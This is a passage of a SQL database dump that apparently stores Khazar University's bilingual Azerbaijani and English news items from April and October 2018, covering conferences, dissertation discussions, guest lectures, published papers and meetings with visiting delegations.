nəticələri və tədqiqat istiqamətlərini müzakirə etməkdir.</p><p>Konfrans aşağıdakı mövzuları əhatə edəcək:</p><ul><li>Ümumi operatorlar və spektral nəzəriyyə;</li><li>Riyazi fizikanın xüsusi törəməli tənliklərinin analizi;</li><li>Riyazi fizikanın məsələlərində bazislər, freimlər və aproksimantlar;</li><li>Diferensial operatorların spektral nəzəriyyəsi;</li><li>Klassik və kvant inteqrallanan modellər;</li><li>Sim və kvant sahə nəzəriyyəsi;</li><li>Xüsusi funksiyalar;</li><li>Səpilmə nəzəriyyəsi;</li><li>Tərs məsələlər.</li></ul><p>Konfrans haqqında daha ətraflı məlumat və qeydiyyat üçün konfransın səhifəsinə daxil olmaq lazımdır:</p><p><a href=\"https://sites.google.com/view/ofsmp2018\">https://sites.google.com/view/ofsmp2018</a>.</p>'),(5332,3086,'en','“Operators, Functions, and Systems of Mathematical Physics Conference” to be held','The international conference \"Operators, Functions, and Systems of Mathematical Physics...','<p>The international conference \"Operators, Functions, and Systems of Mathematical Physics Conference\" (OFSMPC), on the occasion of Professor Hamlet Isakhanli’s 70<sup>th</sup> birthday, is to be held at Khazar University. OFSMPC will take place on 21–24 May, 2018, at the Department of Mathematics of Khazar University, Baku, Azerbaijan.</p><p>The conference brings together the leading experts and young researchers in Mathematical Physics from all over the world. The main aim of the conference is to discuss recent developments and progress in Mathematical Physics.</p><p>The subjects to be covered at the conference are as follows:</p><ul><li>General operators and spectral theory</li><li>Analysis of Partial Differential Equations of Mathematical Physics</li><li>Bases, Frames and Approximants in problems of Mathematical Physics</li><li>Spectral theory of differential operators</li><li>Classical and quantum integrable models</li><li>String and quantum field theory</li><li>Special functions</li><li>Scattering Theory</li><li>Inverse problems</li></ul><p>For more information and to register, please visit the page of the conference:</p><p><a href=\"https://sites.google.com/view/ofsmp2018\">https://sites.google.com/view/ofsmp2018</a>.<br></p>'),(5333,3087,'az','Professor Hamlet İsaxanlı AMEA Rəyasət Heyətinin toplantısında çıxış etdi','2018-ci il aprelin 5-də Azərbaycan Milli Elmlər Akademiyasının Rəyasət Heyətinin...','<p>2018-ci il aprelin 5-də Azərbaycan Milli Elmlər Akademiyasının Rəyasət Heyətinin toplantısı keçirildi. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı AMEA Şərqşünaslıq İnstitutunun direktor müavini professor Şahin Mustafayevin “Osmanlı təhrir dəftərləri və Azərbaycan tarixi” mövzusunda etdiyi məruzə ətrafında geniş çıxış etdi. H.İsaxanlı tarix fəlsəfəsi, sənədlərin rolu, Osmanlı dəftərləri haqqında mülahizələrini söylədi.</p>'),(5334,3087,'en','Prof. Hamlet Isakhanli delivers a speech at the meeting of Presidium of ANAS','On April 5, 2018, the Presidium of Azerbaijan National Academy of Sciences...','<p>On April 5, 2018, the Presidium of Azerbaijan National Academy of Sciences held an assembly. In the framework of the assembly, Prof. Shahin Mustafayev, Deputy Director of Eastern Studies Institute, made a report on “Ottoman Tax Registers and Azerbaijan History”.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, gave a broad speech on the report expressing his thoughts on the philosophy of history, the role of documents, and Ottoman books.</p>'),(5335,3088,'az','Dissertasiya işinin ilkin müzakirəsi keçirildi','2018-ci il aprelin 5-də Xəzər Universitetində universitetin İngilis dili və ədəbiyyatı...','<p>2018-ci il aprelin 5-də Xəzər Universitetində universitetin İngilis dili və ədəbiyyatı departamentinin dissertantı Milana Yunis qızı Abbasovanın filologiya üzrə fəlsəfə doktoru elmi dərəcəsini almaq üçün təqdim etdiyi “İngilis dilinin tədqiqinə sosiolinqvistik yanaşmada müasir tendensiyalar” adlı dissertasiya işinin department üzrə müzakirəsi keçirildi. İclasa sədrliyi Magistratura, Doktorantura və Elmi işlər bölməsinin müdiri dosent Eldar Şahgəldiyev rəhbərlik edirdi. Elmi işin rəhbəri professor Fəxrəddin Veysəllidir.</p><p>Müzakirələrdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, Azərbaycan Dillər Universitetinin əməkdaşları – professor Fəxrəddin Veysəlli (elmi rəhbər), professor Əfqan Abdullayev (rəyçi), dosent Amil Cəfərov (rəyçi), dosent Cəmil Balayev, dosent Qələmşah Heybətov, filologiya üzrə fəlsəfə doktoru İrina Orucova, filologiya üzrə fəlsəfə doktoru Elmira Əliyeva dissertasiya işi haqqında fikirlərini bildirdilər. İclasda, həmçinin, Xəzər Universitetinin əməkdaşları baş müəllim Firəngiz Nəsirova, İlham Tağıyev, Eynur Mehdiyev, Xanım Əhmədova, Leyla Salayeva, Günel Şükürova, Validə Kərimova, Pərvanə Babayeva, Nuranə Fərhadova, Nailə Qasımova, Zamirə Qurbanova, Gülnur Nəbiyeva, Ədilə Abdullayeva da iştirak edirdilər.</p><p>Müzakirənin nəticəsində dissertant iclasın iştirakçılarının müsbət rəyini alaraq, müdafiənin növbəti mərhələsinə buraxıldı.</p>'),(5336,3088,'en','The preliminary discussion of a dissertation','On April 5, 2018, the pre-defence discussion of the dissertation entitled “Contemporary Trends...','<p>On April 5, 2018, the pre-defence discussion of the dissertation entitled “Contemporary Trends in Sociolinguistic Approach to the Study of English Language” was held in the Department of English Language and Literature. The dissertation was submitted by Milana Yunis&nbsp;Abbasova, PhD student of the Department of English Language and Literature, to receive a PhD degree in Philology. Assoc. Prof. Eldar Shahgaldiyev, Head of the Division for Graduate Students and Research, ran the discussion meeting. The dissertation was supervised by Prof. Fakhraddin Veyselli.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University, and Chairman of its Board of Directors and Trustees, Prof. Fakhraddin Veyselli (supervisor), Prof.Afgan Abdullayev (reviewer), Assoc.Prof.Amil Jafarov (reviewer), Assoc.Prof. Jamil Balayev, Assoc.Prof. Galamshah Heybatov, Irina Orujova, PhD in Philology, and Elmira Aliyeva, PhD in Philology, expressed their views on the dissertation. Staff members of Khazar University, Firangiz Nasirova, head instructor,</p><p>Ilham Taghiyev, Eynur Mehdiyev, Khanim Ahmadova, Leyla Salayeva, Gunel Shukurova, Valida Karimova, Parvana Babayeva, Nurana Farkhadova, Naila Gasimova, Zamira Gurbanova, Gulnur Nabiyeva, and Adila Abdullayeva also participated in the meeting. Upon discussion, the dissertation was approved by the participants and recommended for the next stage of defence.</p>'),(6209,3533,'en','3 day lecture sessions of Dr. Stefano Braghiroli at Khazar University','Within the Network for Developing European Studies in the Caucasus (DESCnet) project Political...','<p>Within the Network for Developing European Studies in the Caucasus (DESCnet) project Political Science and International Relations Department organized 3-day lecture sessions with Dr. Stefano Braghiroli, Lecturer of European Studies at the Johan Skytte Institute of Political Studies of the University of Tartu.</p><p>On October 16, 2018, on the first day of the session, Dr. Stefano Braghiroli delivered a lecture on “<em>Common Foreign and Security Policy of the EU and EU-NATO relations</em>”. The students were informed about the foreign policy, defence diplomacy of the EU, historical&nbsp;development of the CFSP of the EU, EU-NATO relations, the role of NATO in the territorial defence of Europe.</p><p>On October 17, 2018, the lecture by the guest speaker, entitled “<em>EU-Russia relations</em>” provided an insight into Russia and the EU relations, mutual political influence and financial link of the two powers. During the meeting, he also analyzed the relations of some individual member states of the EU and Russia, effects of bilateral relations on the EU-Russia relations.</p><p>After the second lecture, Dr. Stefano Braghiroli met with Dr. Hassan Niknafs, Rector of Khazar University. At the meeting, he was informed about the history of Khazar University, its degree programs, research capacity, and international relations. Also, mutual collaboration opportunities on student and staff exchange, establishment of double-degree programs and research between Khazar University and Tartu University were discussed during the meeting. The meeting was also attended by Raziya Isayeva, Director of Development Center; Elmar Mustafayev, Coordinator of the Department of Political Science and International Relations.</p><p>On October 18, 2018, the last day of the session was dedicated to the <em>European Neighbourhood Policy and Eastern Partnership</em>. The students were briefed on the evolution of the ENP, the dialogue between the EU and EaP countries on political and economic cooperation, security and migration, mobility, visa facilitation and readmission.</p><p>All lectures concluded with questions from the audience.</p>  \r\n<p><img src=\"/files/politics_depart/erasmus_logo.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:200px;height:58px;margin-left:7px\">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<img src=\"/files/politics_depart/descnet_logo.jpg\" style=\"border:0px  #000000;vertical-align:baseline;width:150px;height:61px\"><br></p><p><br></p><p><br></p><p><br></p>'),(5719,3282,'az','Professor Hamlet İsaxanlının yeni kitabı nəşr olundu','Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri...','<p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri Prof. Hamlet İsaxanlının elm tarixindən bəhs edən “Əlkimya: Elm, Sənət və Mistika” adlı yeni kitabı işıq üzü görüb. Kitabda Əlkimyanın vətəni olmağa əsas namizəd sayılan qədim Misir və sonra Mesopotamiya, Yunan və Roma sivilizasiyaları, Çin və İslamın hegemon olduğu dövrlər və nəhayət, Orta Əsrlər Avropası diqqət mərkəzində olmaqla dünya əlkimya tarixinə baş vurulur, müqayisəli təhlil nəticəsində müəyyən ümumiləşmələr aparılaraq, oxşarlıqlar və fərqlər qeyd edilir. Əlkimyanın elmi və texnoloji, həmçinin iqtisadi və ticari tərəfləri, qızıl və gümüşün fiziki-kimyəvi xassələri, mənəvi və ictimai tərəfləri, metalları qızıl və gümüşə çevirmə cəhdləri, həmçinin gəncləşmə və ölümsüzlük bəxş edə bilən eliksir axtarışı barədə, bu sahələrdə yaradıcı fəaliyyət göstərənlər haqqında söhbət açılır.</p><p>Yeri gəldikcə əlkimya ilə sıx bağlı olan tibb, farmakologiya və botanika, metal və minerallar, fəlsəfə və mistika üzərində durulur. Müxtəlif əfsanə və rəvayətlər, səyahət və savaşlar, kitablar və ensiklopediyalar haqqında söhbət edilir. Ana və ya təməl elementlər, xüsusilə, onların bəs etmədiyini ortaya qoyan və əlkimyanın canı sayılan civə, kükürd və duz kimi maddələr ətrafında cərəyan edən hadisələr diqqət mərkəzinə qoyulur.</p><p>Anlaşıqlı dildə yazılan bu monoqrafiya mütəxəssislər, tələbələr və geniş oxucu dairəsi üçün nəzərdə tutulmuşdur.</p>'),(5338,3089,'en','Presentation at School N23','On April 6, 2018, Khazar University conducted a presentation at school N23...','<p>On April 6, 2018, Khazar University conducted a presentation at school N23, one of the leading local secondary schools.</p><p>The main aim of the presentation was to provide information about Khazar University, its programs, and resources. A team consisting of five people participated in the presentation: Fuat Rasulov, professor of the School of Economics and Management, Sabina Allahveranova, Manager of Career Center, Ozal Mammadli, HR Coordinator, Turan Jafarova, Director of International Affairs Office, and Tendai Samantha Shereni, an international student from Zimbabwe who is currently pursuing her bachelor’s degree in International Relations and Diplomacy at Khazar University.</p><p>Turan Jafarova started the presentation and provided general information about Khazar University. Prof. Fuat Rasulov spoke about the reasons why high-school students should select Khazar University to continue their studies at a Bachelor’s level. Turan Jafarova took the stage again to speak about the university’s internationalization strategy, exchange programs that the university participates in, double degree and other programs. Tendai Samantha Shereni, the international student from Zimbabwe, shared her experience studying at Khazar, she told students why she decided to come to Azerbaijan and why she chose Khazar and encouraged students to apply.</p><p>The presentation ended with a question and answer session. Promotional materials of Khazar University were presented to high-school students.</p>'),(5339,3090,'az','Azərbaycan V Beynəlxalq Psixologiya Konfransı keçirildi','Aprelin 7-8-də Xəzər Universitetinin Psixologiya departamentinin və Xəzər Psixoloji Xidmət...','<p>Aprelin 7-8-də Xəzər Universitetinin Psixologiya departamentinin və Xəzər Psixoloji Xidmət Mərkəzinin təşkilatçılığı ilə universitetin Mərmər salonunda Azərbaycan V Beynəlxalq Psixologiya Konfransı keçirildi. Konfransda universitetin rəhbərliyi və əməkdaşları, Türkiyə və ABŞ-dan dəvət olunmuş mütəxəssislər və yerli mütəxəssislər iştirak edirdilər.</p><p>Konfransdan əvvəl iştirakçılara Xəzər Universiteti Kamera orkestrinin ifasında qısa musiqi proqramı təqdim olundu.</p><p>Xəzər Universitetinin rektoru Dr. Hassan Niknafs konfransı açaraq, xarici mütəxəssisləri və iştirakçıları salamladı, hər il keçirilən konfransın həm yeni biliklərlə zənginləşmək, həm də təcrübə toplamaq baxımından böyük əhəmiyyətindən danışdı.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək, universitetdə belə beynəlxalq elmi tədbirlərin ənənəvi olaraq mütəmadi keçirildiyini diqqətə çatdırdı, Xəzər Psixoloji Xidmət Mərkəzinin fəaliyyətindən bəhs etdi.</p><p>Konfransda Türkiyə TED Universitetindən professor Nilüfer Voltan Acarın “İnteqrativ konsultasiya modeli-Şərq ölkələri üçün psixoloji konsultasiyanın aparılma qaydaları”, Hasan Kalyoncu Universitetindən professor Mehmet Hakan Türkçaparın “Psixoterapiyada elmi yanaşma, depressiyada davranış aktivlik müalicəsi”, Hacettepe Universitetindən professor Ebru Cengel Kültürün “Məktəbəqədər yaş dövründə uşaqlarda ruhi sağlamlığın qiymətləndirilməsi meyarları, autizmin ilkin diaqnostikasının aparılma qaydaları”, İstanbul Cerrahpaşa Xəstəxanasının psixiatrı Doc. Dr. Ejder Akgün Yıldırımın “Psixodrama və onun müxtəlif tətbiq şəkilləri”, Amerikanın George Mason Universitetindən professor Frederick Bemakın “Qaçqınlıq və məcburi köçkünlüyün psixoloji təsirləri”, Wisconsin La-Crosse Universitetindən isə professor Robert Jecklinin “İctimai sağlamlıq və psixologiya” mövzularında məruzələri dinlənilərək, psixologiyanın müxtəlif sahələrinə aid müzakirələr aparıldı, suallar cavablandırıldı və qrup psixoloji terapiyasından müxtəlif nümunələr göstərildi.</p><p>Konfrans iştirakçıları psixologiya sahəsində yeni biliklər əldə etməklə yanaşı, təcrübələrini də artırdılar.</p><p>Konfransın sonunda qonaq professorlara plaketlər, iştirakçılara isə sertifikatlar təqdim edildi.</p><p>Konfrans iştirakçıları Fəxri Xiyabanda Ulu Öndər Heydər Əliyevin, Şəhidlər Xiyabanında şəhidlərin xatirəsini yad etdilər.</p><p>Tədbirin sonunda xarici qonaqlar üçün ziyafət təşkil olundu.</p><p>Konfransın gedişi AzTV kanalında və ölkə xəbər portallarında işıqlandırılmışdır:</p><p><a href=\"http://www.islahat.az/azerbaycan-v-beynelxalq-psixologiya-konfransi-bas-tutdu/\">http://www.islahat.az/azerbaycan-v-beynelxalq-psixologiya-konfransi-bas-tutdu/</a></p><p><a href=\"http://frame.az/az%C9%99rbaycan-v-beyn%C9%99lxalq-psixologiya-konfransi-bas-tutdu/\">http://frame.az/az%C9%99rbaycan-v-beyn%C9%99lxalq-psixologiya-konfransi-bas-tutdu/</a>&nbsp;</p>'),(5340,3090,'en','Azerbaijan V International Psychology Conference takes place','On April 7-8, 2018, Azerbaijan V International Psychology Conference was held...','<p>On April 7-8, 2018, Azerbaijan V International Psychology Conference was held on the initiative of the Department of Psychology, Khazar University and Khazar Psychological Service Centre. Khazar University administration and staff members, national experts as well as American and Turkish experts took part in the conference. Before the conference, Khazar University Camera Orchestra performed a concert program.</p><p>Dr Hassan Niknafs, Rector of Khazar University, opened the conference and greeted the participants. The Rector mentioned that the conference, which is held every year, is of great importance in terms of gaining new knowledge and experience.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a speech emphasizing traditional international events held at Khazar University and talked about the activity of Khazar Psychological Service Centre.</p><p>International experts delivered presentations on the following topics:</p><p>Prof. Nilufer Voltan Acar, TED University, - “Interactive consultancy model – methods of psychological consultancy in the Eastern countries”, Mehmet Hakan Turkchapar, Hasan Kalyoncu University, - “Scientific approach in psychotherapy, treatment for behavioral activity in depression”, Prof. Ebru Jengel Kultur, Hacettepe University, - “Criteria for assessment of mental health of children with preschool age, methods for early diagnosis of autism”, Doc.Dr.Ejder Akgun, Psychiatrist of Istanbul Cerrahpaşa Hospital, - “Psychodrama and its application through various methods”, Prof. Frederick Bemak, George Mason University, - “Psychological effects of refuge life and forced displacement”, Robert Jecklin, University of Wisconsin–La Crosse, - “Public health and psychology”. Moreover, the presenters and participants had discussions on the topics and experts demonstrated various examples of group psychotherapy.</p><p>Conference participants gained new knowledge and expanded their experience. At the end of the conference, guest professors and participants were presented with plaques and certificates, respectively. Conference participants also visited Heydar Aliyev’s, the nationwide leader, grave in the Alley of Honor and Martyrs Alley.</p><p>A reception was held in honour of conference participants.</p><p>The media and AzTV channel covered the conference:</p><p style=\"background:undefined \"><a href=\"http://www.islahat.az/azerbaycan-v-beynelxalq-psixologiya-konfransi-bas-tutdu/\">http://www.islahat.az/azerbaycan-v-beynelxalq-psixologiya-konfransi-bas-tutdu/</a></p><p><a href=\"http://frame.az/az%C9%99rbaycan-v-beyn%C9%99lxalq-psixologiya-konfransi-bas-tutdu/\">http://frame.az/az%C9%99rbaycan-v-beyn%C9%99lxalq-psixologiya-konfransi-bas-tutdu/</a>&nbsp;</p>'),(5341,3091,'en','Paper by Lecturer of School of Engineering and Applied Sciences published','A research paper “Transesterification of biodiesel byproduct glycerol and dimethyl carbonate...','<p>A research paper “<em>Transesterification of biodiesel byproduct glycerol and dimethyl carbonate over porous biochar derived from pyrolysis of fishery waste</em>” by Kenan Shikhaliyev, lecturer and researcher of the School of Engineering and Applied Sciences, Khazar University, was published in the UK “Energy Conversion and Management” (April 8, 2018, V.165, pp.794-800) journal.</p><p>The link to the paper is as follows:</p>\r\n<p><a href=\"https://www.sciencedirect.com/science/article/pii/S0196890418303303\">https://www.sciencedirect.com/science/article/pii/S0196890418303303</a>.</p>'),(5342,3091,'az','Mühəndislik və tətbiqi elmlər fakültəsinin müəlliminin məqaləsi çap olundu','Xəzər Universiteti Mühəndislik və tətbiqi elmlər faklütəsinin müəllimi və tədqiqatçısı...','<p>Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin müəllimi və tədqiqatçısı Kənan Şıxəliyevin “<em>Balıq tullantılarından piroliz üsulu ilə alınmış katalizatorun, biodizel istehsalında yan məhsul olan gliserin və dimetil karbonat arasında gedən transesterifikasiya reaksiyasinda istifadəsi</em>” adlı elmi məqaləsi İngiltərənin “Energy Conversion and Management” (8 aprel 2018, V.165, pp.794-800) jurnalında nəşr olunmuşdur.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"https://www.sciencedirect.com/science/article/pii/S0196890418303303\">https://www.sciencedirect.com/science/article/pii/S0196890418303303</a>.</p>'),(5343,3092,'az','“The Same” komandasının təqdimatı oldu','2018 ci il aprelin 6-da Xəzər Universitetinin “Mərmər” zalında “The Same” komandasının...','<p>2018 ci il aprelin 6-da Xəzər Universitetinin “Mərmər” zalında “The Same” komandasının təqdimat tədbiri kecirildi. Tədbirdə “Biz kimik?”, “Nə iş görürük?” sualları cavablandırıldı. Tədbirin birinci hissəsində komandanın üzvü Sinan Rzayev giriş sözü ilə qonaqları salamladı. Daha sonra Taliyə Hüseynzadə “P2P Facebook Digital Challange”, Ruslan Osmanlı “Rasizm nədir?”, Xəyalə Şixəliyeva “Rasizmin tarixi” və Etibar Saatov “Niyə bu mövzunu seçdik?” mövzularında qonaqları məlumatlandırdılar. İkinci hissədə fəlsəfə doktoru Mail Yaqub rasizm, rasizmin növləri və bu mövzuya elmi yanaşma ilə bağlı fikirlərini bölüşdü. Dr.Bahadır Baysalın “1 dəqiqəlik gözünüzü yumun və özünüzü onların yerində təsəvvür edin,” –deməsi auditotiyanı düşünməyə vadar etdi. Sonda tələbələr “Unity” rəqsi oynayaraq, bütün irqlərin birliyini göstərməyə çalışdılar.</p><p>Bu linklər vasitəsilə daha çox məlumat əldə etmək olar:</p><p><a href=\"https://www.instagram.com/thesame.aze/\">https://www.instagram.com/thesame.aze/</a>;&nbsp;</p><p><a href=\"https://m.facebook.com/thesame.aze/?ref=bookmarks\">https://m.facebook.com/thesame.aze/?ref=bookmarks</a>.  <br></p>'),(5344,3092,'en','The presentation of “The Same” team','On April 6, 2018, “The Same” team held a presentation in the “Marble” hall of Khazar University...','<p>On April 6, 2018, “The Same” team held a presentation in the “Marble” hall of Khazar University. During the presentation, team members answered the questions such as “Who are we?” and “What are we engaged in?”. In the first part of the presentation, Sinan Rzayev, a team member, greeted the participants. Then the team members delivered presentations on the following topics: Taliya Huseynzdeh “P2P Facebook Digital Challange”, Ruslan Osmanli “What is racism?”, Khayala Shikhaliyeva “History of racism”, and Etibar Saatov “Why did we choose this topic?”. In the second part, Mail Yagubov, PhD in Philosophy, shared his views on racism, its types and scientific approach to racism. The audience felt obliged to think over Dr. Bahadir Baysal’s suggestion “Close your eyes and put yourselves in their shoes.” At the end of the ceremony, the students performed “Unity” dance to express solidarity with all races.</p><p>For more information:</p><p style=\"background:undefined \"><a href=\"https://www.instagram.com/thesame.aze/\">https://www.instagram.com/thesame.aze/</a>;&nbsp;</p><p><a href=\"https://m.facebook.com/thesame.aze/?ref=bookmarks\">https://m.facebook.com/thesame.aze/?ref=bookmarks</a>.</p>'),(5345,3093,'az','Nanotexnologiya laboratoriyasının tədqiqatçısı beynəlxalq jurnalın redaksiya heyətinə üzv seçildi','Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin əməkdaşı və Nanotexnologiya...','<p>Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin əməkdaşı və Nanotexnologiya laboratoriyasının tədqiqatçısı Dr. Rasoul Moradi “<em>Drug Resistant Pathogen Research Journal</em>”-ın redaksiya heyətinə üzv seçilmişdir.</p><p>Əlavə məlumatı bu linklər vasitəsilə əldə etmək olar:&nbsp;</p><p><a href=\"https://openaccesspub.org/journal/jdrpr/editorial-board\">https://openaccesspub.org/journal/jdrpr/editorial-board</a>;&nbsp;</p><p><a href=\"https://openaccesspub.org/editor-profile/rasoul-moradi-1530\">https://openaccesspub.org/editor-profile/rasoul-moradi-1530</a>.</p><p>Qeyd edək ki, Dr.Moradi dərman vasitələrinin ixtirası və daşınması sahəsində tədqiqatlar aparmaq məqsədilə yeni qurulmuş Nanotexnologiya laboratoriyasında lazımi infrastrukturun qurulması üzərində işləyir. O, Xəzər Universitetinin əməkdaşı kimi beynəlxalq indeksə malik olan jurnallarda 20-dən çox məqalə dərc etdirmişdir:</p><p><a href=\"https://www.scopus.com/authid/detail.uri?authorId=39661183900\">https://www.scopus.com/authid/detail.uri?authorId=39661183900</a>.</p>'),(5346,3093,'en','Researcher of Nanotechnology Laboratory is selected as a member of Editorial Board of International Magazine','Dr. Rasoul Moradi, Nanotechnology Lab. the researcher and Faculty member of School of Engineering...','<p>Dr. Rasoul Moradi, Nanotechnology Lab. the researcher and Faculty member of School of Engineering and Applied Sciences, has been selected as a member of the editorial board of <em>Drug Resistant Pathogen Research Journal</em>.&nbsp;</p><p><a href=\"https://openaccesspub.org/journal/jdrpr/editorial-board\">https://openaccesspub.org/journal/jdrpr/editorial-board</a>;&nbsp;</p><p><a href=\"https://openaccesspub.org/editor-profile/rasoul-moradi-1530\">https://openaccesspub.org/editor-profile/rasoul-moradi-1530</a>.</p>  <p>Dr. Moradi is currently implementing the required infrastructure in the recently founded Nanotechnology Lab. for performing research in the fields of Drug delivery and discovery. He has more than 20 ISI publications as a Khazar University staff member.&nbsp;</p><p><a href=\"https://www.scopus.com/authid/detail.uri?authorId=39661183900\">https://www.scopus.com/authid/detail.uri?authorId=39661183900</a>.<br></p>'),(5347,3094,'az','İtalyan Mədəniyyət Mərkəzinin və Romanın Sapienza Universitetinin nümayəndələri ilə görüş','2018-ci il aprelin 9-da Bakıdakı İtalyan Mədəniyyət Mərkəzi və Romanın Sapienza Universitetinin...','<p>2018-ci il aprelin 9-da Bakıdakı İtalyan Mədəniyyət Mərkəzi və Romanın Sapienza Universitetinin nümayəndələri Xəzər Universitetinin “Neftçilər” kampusunu ziyarət etdilər.</p><p>Bakıdakı İtaliyan Mədəniyyət Mərkəzinin dəstəyi ilə təşkil olunan görüş Sapienza Universiteti ilə Xəzər Universiteti arasında əməkdaşlığın gücləndirilməsinə yönəlmişdir. Xəzər Universitetinin görüşdəki nümayəndiliyi universitetin rektoru Dr. Hassan Niknafs, Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev və Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərovadan ibarət idilər. Qonaqları Sapienza Universitetinin AB proqramları bölümünün rəhbəri Mattea Capelli, həmin universitetin Beynəlxalq ofisinin əməkdaşı Olesya Kifa, İtaliyan Mədəniyyət Mərkəzinin baş direktoru Çingiz Əsgərov və həmin mərkəzin həmtəsisçisi Fərid Abbasov təmsil edirdilər. Görüş iştirakçıları gələcək əməkdaşlıq üçün tələbə və işçilərin mübadiləsi, birgə dərəcə proqramlarının yaradılması kimi ümumi maraq mövzularını müzakirə etdilər.</p><p>Erasmus+ proqramı çərçivəsində Xəzər Universiteti Sapienza Universiteti ilə əməkdaşlığa başlamışdır. Xəzər Universitetinin bir tələbəsi bu proqram daxilində mübadilə imkanından yararlanmışdır.</p>'),(5348,3094,'en','Meeting with Representatives of Italian Cultural Center and Sapienza University of Rome','On April 9, 2018, the representatives of the Italian Cultural Center in Baku and the representatives...','<p>On April 9, 2018, the representatives of the Italian Cultural Center in Baku and the representatives of Sapienza University of Rome visited Neftchiler campus of Khazar University.</p><p>The meeting was organized with the support of the Italian Cultural Center in Baku and aimed at strengthening the cooperation between Sapienza University and Khazar University. Participants of Khazar University included Dr. Hassan Niknafs, Rector of Khazar University, Mr. Elmar Mustafayev, Coordinator of the Department of Political Science and International Relations, and Turan Jafarova, Director of the International Affairs Office. Guests included Ms. Mattea Capelli, Head of EU Programs Unit at Sapienza University, Olesya Kifa, International Office employee at Sapienza University, Chingiz Asgarov, General Director of the Italian Cultural Center and Farid Abbasov, Co-founder of the Italian Cultural Center. During the meeting, some areas of mutual interest for future cooperation, including student and staff exchange, establishment of double-degree programs, and other important issues were discussed by the participants.</p><p>Khazar University started its cooperation with Sapienza University within the Erasmus + Programme. One student from Khazar University previously benefited from exchange opportunity within the program.</p>'),(5349,3095,'az','Tədqiqat metodlarına aid seminar/təlim keçiriləcəkdir','2018-ci il aprelin 12-də saat 12:00-də Xəzər Universitetində tədqiqata dəstək məqsədi ilə...','<p>2018-ci il aprelin 12-də saat 12:00-də Xəzər Universitetində tədqiqata dəstək məqsədi ilə növbəti seminar/təlim keçiriləcəkdir. Dəvət edilmiş məruzəçi fizika və riyaziyyat elmləri üzrə fəlsəfə doktoru İsmayıl Qafarov&nbsp;&nbsp;<strong><em>“Elmi tədqiqatlar və məlumatların təhlili sahəsində effektiv statistik metodlar</em></strong>” mövzusunda məruzə edəcəkdir və sonra isə təlim keçirəcəkdir.&nbsp; Dr. İsmayıl Qafarov&nbsp;Azərbaycan Tibb Universitetinin Tibbi fizika və İnformatika kafedrasının baş müəllimidir.&nbsp;</p><p>Seminar iki hissədən və çay fasiləsindən ibarət olacaqdır. Seminar Xəzər Universitetində Neftçilər kampusunun təlim otağında (5-ci mərtəbə kitabxana ilə üzbəüz) keçiriləcəkdir.</p><p><strong><span style=\"text-decoration:underline\">Hər kəs dəvətlidir. Ph.D. və magistr tələbələrin seminara qatılmağı və iştirakı ciddi şəkildə təşviq olunur.</span></strong></p>'),(5350,3095,'en','Seminar/workshop to be held on research methods','On April 12, 2018, at 12:00 noon, Khazar University will conduct next routine seminar...','<p>On April 12, 2018, at 12:00 noon, Khazar University will conduct next routine seminar/workshop to support research. Invited speaker&nbsp;Dr. Ismayil Qafarov (Ph.D. in physics and mathematics) will give a lecture entitled&nbsp;<em><strong>“Effective statistical tools in research and data analysis”</strong>.</em>&nbsp;Dr. Ismayil Gafarov is a senior teacher at Department of Medical Physics and Informatics of Azerbaijan Medical University.</p><p>The seminar will run in two sessions with a tea break in between. The seminar will take place at the Neftchilar Campus in training room (5<sup>th</sup>&nbsp;floor nearby Library) of Khazar University.</p><p><strong><span style=\"text-decoration:underline\">Everyone is welcome to attend. Ph.D. and Master students are strongly encouraged to attend and participate in the seminar.</span></strong></p>'),(5351,3096,'az','Professor Hamlet İsaxanlı Malayziya Səfiri cənab Roslan Abdul Rahman ilə Dünya Məktəbində','Aprelin 9-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri Professor...','<p>Aprelin 9-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri Professor Hamlet İsaxanlı Malayziyanın Azərbaycan Respublikasındakı Fövqəladə və Səlahiyyətli səfiri cənab Roslan Abdul Rahman və Malayziya Turizm səfiri Datuk Nərgiz Səfərova ilə, həmçinin “Dünya” Təhsil Kompleksinin rəhbəri xanım Mərifə Mədətli ilə görüşdü.</p><p>Görüşdə Azərbaycan və Malayziya arasında elm, təhsil, mədəniyyət sahəsində əlaqələrin gücləndirilməsi, Xəzər Universitetinin və Dünya Təhsil Kompleksinin bu işə verə biləcəyi töhfələr müzakirə olundu.</p>'),(5352,3096,'en','Professor Hamlet Isakhanli meets with Mr. Roslan Abdul Rahman, Ambassador Extraordinary and Plenipotentiary of Malaysia to the Republic of Azerbaijan at Dunya school','On April 9, Professor Hamlet Isakhanli, founder of Khazar University and the Chairman of its Board...','<p>On April 9, Professor Hamlet Isakhanli, founder of Khazar University and the Chairman of its Board of Directors and Trustees met with Mr. Roslan Abdul Rahman, Ambassador Extraordinary and Plenipotentiary of Malaysia to the Republic of Azerbaijan and Mr. Datuk Nargiz Safarova, Malaysia Tourism Ambassador, as well as Mrs. Merife Medetli, Head of “Dunya” Education Complex.</p><p>Bilateral relationships between Azerbaijan and Malaysia in the spheres of science, education, culture and tourism, the contribution of Khazar University and “Dunya School” to the activities were discussed at the meeting.</p>'),(5354,3097,'en','Pre-defence discussion session of a PhD dissertation','A pre-defence discussion session will be held for the dissertation 